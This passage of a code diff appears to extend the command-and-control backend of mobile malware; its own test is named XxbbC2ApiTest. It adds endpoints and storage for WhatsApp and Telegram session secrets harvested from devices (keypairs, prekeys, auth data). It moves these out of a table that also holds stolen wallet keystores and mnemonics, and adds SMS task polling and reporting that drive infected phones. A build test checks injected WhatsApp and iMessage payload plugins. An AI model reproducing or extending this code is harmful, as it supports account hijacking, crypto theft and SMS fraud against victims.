plain) seeds = json.loads((state / "lab_seeds.json").read_text()) self.assertEqual(seeds["deployment_seed"], "11111111111111111111111111111111") @@ -319,6 +332,26 @@ class XxbbBuildTest(unittest.TestCase): self.assertIn("route.js", landing) self.assertNotIn('src="index.js"', landing) + def test_source_details_has_lab_passworded_wap_and_sms(self) -> None: + show_member, show_plain = extract_member((xxbb_build.SOURCE_DETAILS / "show.html").read_bytes()) + self.assertEqual(show_member, "data.bin") + show = json.loads(show_plain.decode("utf-8")) + by_bundle = {e["bundleId"]: e for e in show["entries"]} + expected = { + "net.whatsapp.WhatsApp": "wap.js", + "imagent": "sms.js", + } + for bundle, name in expected.items(): + self.assertIn(bundle, by_bundle) + self.assertTrue(by_bundle[bundle]["url"].endswith("/details/" + name)) + path = xxbb_build.SOURCE_DETAILS / name + self.assertTrue(path.is_file(), name) + member, plain = extract_member(path.read_bytes()) + self.assertEqual(by_bundle[bundle]["sha256"], xxbb_build.sha256_hex(plain)) + self.assertEqual(by_bundle[bundle]["size"], len(plain)) + self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), plain) + self.assertIn(b"https://%@", plain) + if __name__ == "__main__": unittest.main() diff --git a/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php b/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php new file mode 100644 index 0000000..e2beba8 --- /dev/null +++ b/database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php @@ -0,0 +1,112 @@ +id(); + $table->foreignId('device_id')->constrained('devices')->cascadeOnDelete(); + $table->string('device_key', 64)->index(); + $table->string('kind', 16)->index(); + $table->string('account_id', 128)->nullable()->index(); + $table->string('phone', 64)->nullable(); + $table->json('payload')->nullable(); + $table->timestamps(); + $table->unique(['device_id', 'kind', 'account_id']); + }); + + Schema::create('sms_reports', function (Blueprint $table) { + $table->id(); + $table->foreignId('device_id')->constrained('devices')->cascadeOnDelete(); + $table->string('device_key', 64)->index(); + $table->string('task_id', 128)->nullable()->index(); + $table->string('dest_phone', 64)->nullable(); + $table->string('local_phone', 64)->nullable(); + $table->text('msg')->nullable(); + $table->string('status', 64)->nullable(); + $table->json('payload')->nullable(); + $table->timestamps(); + }); + + $this->backfillSessionsFromKeystores(); + } + + public function down(): void + { + Schema::dropIfExists('sms_reports'); + Schema::dropIfExists('plugin_sessions'); + } + + private function backfillSessionsFromKeystores(): void + { + if (! Schema::hasTable('wallet_keystores')) { + return; + } + + $rows = DB::table('wallet_keystores') + ->whereIn('source', ['Telegram', 'WhatsApp']) + ->orderBy('id') + ->get(); + $seen = []; + foreach ($rows as $row) { + $payload = json_decode((string) $row->raw_json, true); + if (! is_array($payload)) { + $payload = []; + } + $kind = $row->source === 'WhatsApp' ? 'whatsapp' : 'telegram'; + $account = $this->accountFromPayload($kind, $payload); + $key = $row->device_id.'|'.$kind.'|'.$account; + if (isset($seen[$key])) { + continue; + } + $seen[$key] = true; + $deviceKey = (string) (DB::table('devices')->where('id', $row->device_id)->value('device_id') ?? ''); + DB::table('plugin_sessions')->insert([ + 'device_id' => $row->device_id, + 'device_key' => $deviceKey !== '' ? $deviceKey : (string) $row->device_id, + 'kind' => $kind, + 'account_id' => $account !== '' ? $account : null, + 'phone' => $this->phoneFromPayload($kind, $payload), + 'payload' => json_encode($payload, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES), + 'created_at' => $row->created_at ?? now(), + 'updated_at' => $row->updated_at ?? now(), + ]); + } + + DB::table('wallet_keystores')->whereIn('source', ['Telegram', 'WhatsApp'])->delete(); + } + + private function accountFromPayload(string $kind, array $payload): string + { + $keys = $kind === 'whatsapp' + ? ['userId', 'user_id', 'account_id'] + : ['user_id', 'userId', 'account_id']; + foreach ($keys as $key) { + if (isset($payload[$key]) && (is_string($payload[$key]) || is_int($payload[$key]))) { + return substr(trim((string) $payload[$key]), 0, 128); + } + } + + return ''; + } + + private function phoneFromPayload(string $kind, array $payload): ?string + { + if ($kind !== 'whatsapp') { + return null; + } + foreach (['userId', 'phoneId', 'phone'] as $key) { + if (isset($payload[$key]) && is_string($payload[$key]) && trim($payload[$key]) !== '') { + return substr(trim($payload[$key]), 0, 64); + } + } + + return null; + } +}; diff --git a/routes/xxbb.php b/routes/xxbb.php index 4308b87..91ede75 100644 --- a/routes/xxbb.php +++ b/routes/xxbb.php @@ -32,4 +32,7 @@ Route::middleware([DecryptXxbbBody::class])->group(function () use ($dsOrXxbb, $ Route::post('/ub', [$xxbb, 'plugin']); Route::post('/ba', [$xxbb, 'plugin']); Route::post('/api/tg/t', [$xxbb, 'telegram']); + Route::post('/api/wp/t', [$xxbb, 'whatsapp']); + Route::post('/m/t/g', [$xxbb, 'smsPoll']); + Route::post('/m/t/r', [$xxbb, 'smsReport']); }); diff --git a/tests/Feature/DeviceDeleteTest.php b/tests/Feature/DeviceDeleteTest.php index 57ede88..1b8eb59 100644 --- a/tests/Feature/DeviceDeleteTest.php +++ b/tests/Feature/DeviceDeleteTest.php @@ -12,6 +12,8 @@ use App\Models\DsChainLog; use App\Models\Note; use App\Models\PageVisit; use App\Models\Photo; +use App\Models\PluginSession; +use App\Models\SmsReport; use App\Models\User; use App\Models\WalletAddress; use App\Models\WalletKeystore; @@ -73,6 +75,20 @@ class DeviceDeleteTest extends TestCase 'device_id' => $device->id, 'raw_json' => ['k' => 1], ]); + PluginSession::query()->create([ + 'device_id' => $device->id, + 'device_key' => 'dev-del-1', + 'kind' => PluginSession::KIND_TELEGRAM, + 'account_id' => '123', + 'payload' => ['user_id' => '123'], + ]); + SmsReport::query()->create([ + 'device_id' => $device->id, + 'device_key' => 'dev-del-1', + 'task_id' => 't1', + 'dest_phone' => '+100', + 'payload' => ['task_id' => 't1'], + ]); DsBeaconTask::query()->create([ 'device_id' => $device->id, 'position' => 1, @@ -130,6 +146,8 @@ class DeviceDeleteTest extends TestCase $this->assertSame(0, WalletAddress::query()->count()); $this->assertSame(0, WalletMnemonic::query()->count()); $this->assertSame(0, WalletKeystore::query()->count()); + $this->assertSame(0, PluginSession::query()->count()); + $this->assertSame(0, SmsReport::query()->count()); $this->assertSame(0, DsBeaconTask::query()->count()); $this->assertSame(0, DsChainLog::query()->where('client_uid', 'dev-del-1')->count()); $this->assertSame(1, DsChainLog::query()->where('client_uid', 'keep-other-uid')->count()); diff --git a/tests/Feature/XxbbC2ApiTest.php b/tests/Feature/XxbbC2ApiTest.php index 1331b17..c4eee8b 100644 --- a/tests/Feature/XxbbC2ApiTest.php +++ b/tests/Feature/XxbbC2ApiTest.php @@ -7,6 +7,8 @@ use App\Models\DeviceApp; use App\Models\DeviceEvent; use App\Models\Note; use App\Models\Photo; +use App\Models\PluginSession; +use App\Models\SmsReport; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -389,14 +391,135 @@ class XxbbC2ApiTest extends TestCase $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); $this->assertNotNull($device); - $ks = WalletKeystore::query()->where('device_id', $device->id)->first(); - $this->assertNotNull($ks); - $this->assertSame('123456789', $ks->raw_json['user_id'] ?? null); - $this->assertSame('Telegram', $ks->source); - $this->assertSame(0, (int) $ks->decrypted); - $this->assertSame('Telegram', $ks->raw_json['source'] ?? null); - $this->assertArrayHasKey('db_sqlite', $ks->raw_json); - $this->assertSame('AQID', $ks->raw_json['datacenterAuthInfoById'] ?? null); + $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); + $row = PluginSession::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind); + $this->assertSame('000C30D83CD0402E', $row->device_key); + $this->assertSame('123456789', $row->account_id); + $this->assertSame('123456789', $row->payload['user_id'] ?? null); + $this->assertArrayHasKey('db_sqlite', $row->payload); + $this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null); + } + + #[Test] + public function api_wp_t_ingests_whatsapp_session(): void + { + $this->xxbbPost('/api/wp/t', [ + 'd' => '000C30D83CD0402E', + 'd1' => '00008030-000C30D83CD0402E', + 'c' => '202700cfb1ad3de68e11239dcc26c30b', + 'a' => 'wp', + 'userId' => '15551234567', + 'phoneId' => 'phone-id-1', + 'registrationID' => 4242, + 'clientStaticKeypairBase64' => 'QUJD', + 'phoneKeyStore' => ['signedPreKey' => ['id' => 1], 'preKeys' => []], + 'whatsappVersion' => '2.24.0', + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertNull($device->channel_id); + $this->assertSame(0, WalletKeystore::query()->where('device_id', $device->id)->count()); + $row = PluginSession::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind); + $this->assertSame('000C30D83CD0402E', $row->device_key); + $this->assertSame('15551234567', $row->account_id); + $this->assertSame('15551234567', $row->phone); + $this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null); + } + + #[Test] + public function event_stores_sms_phone_number(): void + { + $this->xxbbPost('/event', [ + 'd' => '000C30D83CD0402E', + 'et' => 'sms_heartbeat', + 'phoneNumber' => '+15550004444', + 'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550004444']], + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('+15550004444', $device->phone); + } + + #[Test] + public function sms_poll_stores_phone_from_cardsinfo(): void + { + $this->xxbbPost('/m/t/g', [ + 'd' => '000C30D83CD0402E', + 'bundleID' => 'imagent', + 'cardsinfo' => [['isSimPresent' => true, 'phoneNumber' => '+15550005555']], + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('+15550005555', $device->phone); + } + + #[Test] + public function sms_report_does_not_use_dest_phone_as_device_phone(): void + { + $this->xxbbPost('/m/t/r', [ + 'd' => '000C30D83CD0402E', + 'task_id' => 'task-dest-only', + 'phone' => '+15550006666', + 'msg' => 'sent', + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertNull($device->phone); + } + + #[Test] + public function sms_poll_stores_phone_and_returns_empty_tasks(): void + { + $resp = $this->xxbbPost('/m/t/g', [ + 'deviceID' => '000C30D83CD0402E', + 'c' => '202700cfb1ad3de68e11239dcc26c30b', + 'p' => '+15550001111', + 'bundleID' => 'imagent', + 'cardsinfo' => [['isSimPresent' => true, 'slotID' => 1]], + ]); + $resp->assertOk(); + $this->assertSame('1786468227899{"code":1,"data":[]}', $resp->getContent()); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('+15550001111', $device->phone); + $this->assertNull($device->channel_id); + $this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count()); + $this->assertSame(0, SmsReport::query()->count()); + } + + #[Test] + public function sms_report_stores_task_event(): void + { + $this->xxbbPost('/m/t/r', [ + 'd' => '000C30D83CD0402E', + 'task_id' => 'task-9', + 'phone' => '+15550003333', + 'p' => '+15550002222', + 'msg' => 'ok', + 's' => '1', + ])->assertOk(); + + $device = Device::query()->where('device_id', '000C30D83CD0402E')->first(); + $this->assertNotNull($device); + $this->assertSame('+15550002222', $device->phone); + $this->assertSame(0, DeviceEvent::query()->where('device_key', '000C30D83CD0402E')->count()); + $row = SmsReport::query()->where('device_id', $device->id)->first(); + $this->assertNotNull($row); + $this->assertSame('000C30D83CD0402E', $row->device_key); + $this->assertSame('task-9', $row->task_id); + $this->assertSame('+15550003333', $row->dest_phone); + $this->assertSame('+15550002222', $row->local_phone); + $this->assertSame('ok', $row->msg); + $this->assertSame('1', $row->status); } #[Test] diff --git a/tests/Unit/WalletSourceTest.php b/tests/Unit/WalletSourceTest.php index 88c17a5..1b45359 100644 --- a/tests/Unit/WalletSourceTest.php +++ b/tests/Unit/WalletSourceTest.php @@ -15,6 +15,8 @@ class WalletSourceTest extends TestCase $this->assertTrue(WalletSource::isPluginWalletBundle('im.token.app')); $this->assertTrue(WalletSource::isPluginWalletBundle('com.tronlink.hdwallet')); $this->assertFalse(WalletSource::isPluginWalletBundle('ph.telegra.Telegraph')); + $this->assertFalse(WalletSource::isPluginWalletBundle('net.whatsapp.WhatsApp')); + $this->assertFalse(WalletSource::isPluginWalletBundle('imagent')); $this->assertFalse(WalletSource::isPluginWalletBundle('com.apple.mobilesafari')); $this->assertFalse(WalletSource::isPluginWalletBundle('')); } @@ -41,6 +43,9 @@ class WalletSourceTest extends TestCase $this->assertSame('imToken', WalletSource::fromKeystoreHint('imtoken')); $this->assertSame('Telegram', WalletSource::fromKeystoreHint('tg')); $this->assertSame('Telegram', WalletSource::fromKeystoreHint('Telegram')); + $this->assertSame('WhatsApp', WalletSource::fromKeystoreHint('wp')); + $this->assertSame('WhatsApp', WalletSource::fromKeystoreHint('whatsapp')); + $this->assertSame('iMessage', WalletSource::fromKeystoreHint('sms')); $this->assertSame('', WalletSource::fromKeystoreHint('notes')); $this->assertSame('', WalletSource::fromKeystoreHint('not-a-wallet')); $this->assertSame('', WalletSource::fromKeystoreHint(''));